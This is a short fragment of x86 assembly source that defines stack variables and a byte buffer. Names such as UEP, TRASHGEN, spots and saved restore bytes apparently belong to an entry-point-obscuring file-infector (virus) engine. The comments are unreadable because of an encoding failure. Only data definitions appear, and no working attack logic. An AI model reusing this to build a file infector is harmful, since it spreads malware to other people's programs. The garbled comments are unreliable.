[ebp-12] ;ImageBase new_ep equ dword ptr [ebp-16] ;����� ����� ����� (� ����� ��������� ������) start_addr equ dword ptr [ebp-20] ;���������� ����� ����� ����� (+ ���� ��������) codesec equ dword ptr [ebp-24] ;��������� �� ������� ������ � �������� ������ size_codesec equ dword ptr [ebp-28] ;������ � ������� ������, ������� ������� ����� ������������ ��� ������ ����� max_codesec_addr equ dword ptr [ebp-32] ;������������ ���������� ����� � ������� ������, �� �������� ����� ���������� ����� cur_codesec_addr equ dword ptr [ebp-36] ;������� ����� � ������� ������ (������������ ��� ��������� ���������� ������ ������ ��������) num_spots equ dword ptr [ebp-40] ;���-�� ������� ���������� ����� � ������� ������ beg_rest_bytes equ dword ptr [ebp-44] ;����� ������, ��� �������� ���-�� ���������� �����, ������� ��, ������, � ����� ������������ ����� ������� ������ cur_rest_bytes equ dword ptr [ebp-48] ;������� ����� � ������ (�������������� ����������), ���� ��������� ������������ ����� ������� ������ etc spot1 equ dword ptr [ebp-52] ;������ 1-�� ������ ������ (���� ������ ������ ������ �������, ������� ����� ����� ����������) (����� ��������������� ����������) spot2 equ dword ptr [ebp-56] ;������ 2-�� ������ ������ etc tgen_struct equ dword ptr [ebp-60] ;����� ��������� TRASHGEN (��� �������� xTG - ��� ������� �������) xtmask1 equ dword ptr [ebp-64] ;����� �����1 xtmask2 equ dword ptr [ebp-68] ;����� �����2 restore_bytes db MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);�����, �������������� ����� ��������� ���������: ;num_spots db 1 ;���-�� ���������� ����� � ������� ������ ;size_spot1 dd 1 ;������ ���������� ����� ;addr_spot1 dd 1 ;����� ���������� �������� ;save_bytes1 db size_spot1 ;����������� ������������ ����� (������ ������� �� � �������� ��������� �����) ;size_spot2 dd 1 ;etc ;addr_spot2 dd 1 ;save_bytes2 db size_spot2 ;... ;size_spot(num_spots) dd 1 ;addr_spot(num_spots) dd 1 ;save_bytes(num_spots) db size_spot(num_spots) UEP_RESTBYTES_SIZE equ $ - restore_bytes ;������ ������, ��� ���� ;========================================================================================================